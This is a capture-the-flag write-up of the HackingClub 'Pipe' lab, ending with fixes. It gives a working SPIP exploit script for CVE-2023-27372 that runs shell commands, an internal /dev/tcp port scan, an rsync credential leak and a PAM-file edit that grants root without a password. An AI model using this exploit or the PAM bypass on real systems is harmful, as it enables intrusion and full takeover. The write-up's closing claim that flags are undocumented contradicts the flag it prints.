Target Information
- IP Address: 172.16.13.106 (host) / pipe.hc:8889 (container)
- Difficulty: Medium
- Tags: Web, RCE, CVE-2023-27372, SPIP, Docker Escape, rsync, PAM Misconfiguration, Privilege Escalation
Reconnaissance
Port Scanning
Initial enumeration with nmap:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap pipe.hcResults:
PORT STATE SERVICE
8889/tcp open SPIP CMS
22/tcp open SSH
873/tcp open rsync (host: 172.18.0.1)
Web Enumeration
SPIP CMS Identified
The application exposed on port 8889 is a SPIP CMS version older than 4.2.1, vulnerable to PHP code injection through the _anciennes_valeurs parameter in the contact form.
Endpoint: http://pipe.hc:8889/spip.php?page=contact
Exploitation: CVE-2023-27372 — PHP Injection no SPIP
Vulnerability
SPIP deserializes the contact form’s _anciennes_valeurs parameter without sanitization, allowing arbitrary PHP code injection. The output of shell_exec() is reflected in a hidden response field, making it directly capturable.
Step 1 — Obtain the Anti-CSRF Token
Request:
GET /spip.php?page=spip_pass HTTP/1.1
Host: pipe.hc:8889Command:
curl -s "http://pipe.hc:8889/spip.php?page=spip_pass" | grep 'formulaire_action_args'Step 2 — Send the Payload
Payload:
import base64, requests, bs4
URL = "http://pipe.hc:8889"
CMD = "id"
# Retrieve the CSRF token
r = requests.get(f"{URL}/spip.php?page=spip_pass")
csrf = bs4.BeautifulSoup(r.text, "html.parser") \
.find("input", {"name": "formulaire_action_args"})["value"]
# Double Base64 to bypass filters
b64 = base64.b64encode(base64.b64encode(CMD.encode()).decode().encode()).decode()
php = f"<?php echo shell_exec('echo {b64} | base64 -d | base64 -d | bash'); ?>"
r2 = requests.post(f"{URL}/spip.php?page=contact", data={
"formulaire_action": "contact",
"formulaire_action_args": csrf,
"_anciennes_valeurs": php,
})
# Output refletido no hidden input
output = bs4.BeautifulSoup(r2.text, "html.parser") \
.find("input", {"name": "_anciennes_valeurs"})["value"]
print(output)Result:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-Exploitation
Environment Enumeration
After obtaining RCE as www-data, execution inside a Docker container was confirmed:
# Confirm the Docker environment
cat /proc/1/cgroup # → .../docker/<hash>
ls /.dockerenv # → file exists
# Network addressing
ip addr # → 172.18.0.3/16 (bridge docker)
# DB: 172.18.0.2 | Host: 172.18.0.1
# Scan host ports through bash /dev/tcp
for port in 22 80 443 873 3306; do
(echo >/dev/tcp/172.18.0.1/$port) 2>/dev/null && echo "open: $port"
doneFindings:
- Container on the Docker bridge network (172.18.0.3), host at 172.18.0.1
- The host exposes port 22 (SSH) and port 873 (rsync)
- Unauthenticated rsync is accessible from the container
Exploitation: rsync Unauthenticated — Credential Leak
Discovery
The rsync daemon on the host (172.18.0.1) exposes the backup module without authentication.
Command:
# List available modules
rsync rsync://172.18.0.1/
# backup Backup storage
# List module contents
rsync rsync://172.18.0.1/backup/
# backup.zipExploitation
# Download the file using rsync installed in /tmp in the container
/tmp/rsync rsync://172.18.0.1/backup/backup.zip /tmp/
# Extract
unzip /tmp/backup.zip -d /tmp/backup/
cat /tmp/backup/reset.txtResult:
To: marcus@pipe.htb
...
Your new credentials: marcus / 66%%%421
Phase 4 — SSH to the Host as marcus
ssh marcus@172.16.13.106
# password: 66%%%421Result:
Welcome to Ubuntu 24.04 LTS
marcus@pipe-host:~$
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus),1001(marcus)Privilege Escalation: PAM Misconfiguration
Enumeration
find / -writable -not -path '*/proc/*' -not -path '*/sys/*' 2>/dev/null | grep -v /tmpCritical file identified:
ls -la /etc/pam.d/common-auth
# -rw-rw-r-- 1 root marcus 1242 Mar 12 /etc/pam.d/common-auth
# ^^^^^^
# the marcus group has write permission!The /etc/pam.d/common-auth file belongs to the marcus group and is group-writable, allowing the system authentication policy to be rewritten.
Exploitation
The pam_permit.so module with the sufficient flag returns success immediately, bypassing all subsequent modules (including password verification):
python3 -c "
with open('/etc/pam.d/common-auth', 'r') as f:
content = f.read()
with open('/etc/pam.d/common-auth', 'w') as f:
f.write('auth sufficient pam_permit.so\n' + content)
"/etc/pam.d/common-auth after modification:
auth sufficient pam_permit.so ← bypasses password verification
auth [success=1 default=ignore] pam_unix.so nullok
auth requisite pam_deny.so
auth required pam_permit.so
...
echo '' | su -c 'id; cat /root/root.txt' rootResult:
uid=0(root) gid=0(root) groups=0(root)
hackingclub{5e0712e13d8590378038f211d3f32811}ROOT OBTAINED!
Attack Chain Summary
1. CVE-2023-27372 — PHP injection em _anciennes_valeurs do SPIP CMS
POST /spip.php?page=contact → RCE como www-data no container
↓
2. Internal network enumeration → host 172.18.0.1:873 (rsync)
↓
3. Unauthenticated rsync → backup.zip → reset.txt → marcus credentials:66%%%421
↓
4. SSH to the host as marcus
↓
5. `/etc/pam.d/common-auth` is group-writable → inject `pam_permit.so sufficient`
Switch to root with an empty password
↓
6. Root access
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| SPIP PHP Injection (CVE-2023-27372) | CWE-94 | Critical | RCE as www-data |
| Unauthenticated rsync | CWE-306 | High | Read host files |
| PAM common-auth group-writable | CWE-732 | Critical | Escalation to root |
Mitigation Recommendations
Application Level
-
Update SPIP to >= 4.2.1:
- CVE-2023-27372 is fixed in this version
-
Sanitize form parameters:
- Validate and escape all input before processing it with
evalor deserialization
- Validate and escape all input before processing it with
System Level
-
Configure rsync authentication:
$bash# /etc/rsyncd.conf [backup] auth users = backup_user secrets file = /etc/rsyncd.secrets -
Fix PAM permissions:
$bashchmod 644 /etc/pam.d/common-auth chown root:root /etc/pam.d/common-auth -
Restrict network access between containers and the host:
- Use an isolated Docker
--networkor iptables rules to block access to the host
- Use an isolated Docker
Tools Used
- nmap - Port scanning e service enumeration
- curl / requests - HTTP exploitation of SPIP
- rsync - Access to the unauthenticated backup module
- python3 - Exploit scripting and PAM modification
Proof of Concept Scripts
CVE-2023-27372 SPIP RCE
#!/usr/bin/env python3
import base64, requests
from bs4 import BeautifulSoup
URL = "http://pipe.hc:8889"
def rce(cmd):
r = requests.get(f"{URL}/spip.php?page=spip_pass")
csrf = BeautifulSoup(r.text, "html.parser") \
.find("input", {"name": "formulaire_action_args"})["value"]
b64 = base64.b64encode(base64.b64encode(cmd.encode()).decode().encode()).decode()
php = f"<?php echo shell_exec('echo {b64} | base64 -d | base64 -d | bash'); ?>"
r2 = requests.post(f"{URL}/spip.php?page=contact", data={
"formulaire_action": "contact",
"formulaire_action_args": csrf,
"_anciennes_valeurs": php,
})
return BeautifulSoup(r2.text, "html.parser") \
.find("input", {"name": "_anciennes_valeurs"})["value"]
if __name__ == "__main__":
import sys
cmd = " ".join(sys.argv[1:]) if len(sys.argv) > 1 else "id"
print(rce(cmd))References
CWE References:
- CWE-94: Improper Control of Generation of Code
- CWE-306: Missing Authentication for Critical Function
- CWE-732: Incorrect Permission Assignment for Critical Resource
Author: cbxcvl Date: 2026-03-17 Machine: Pipe — HackingClub
Flags
Flag values and file paths are not documented in the source notes.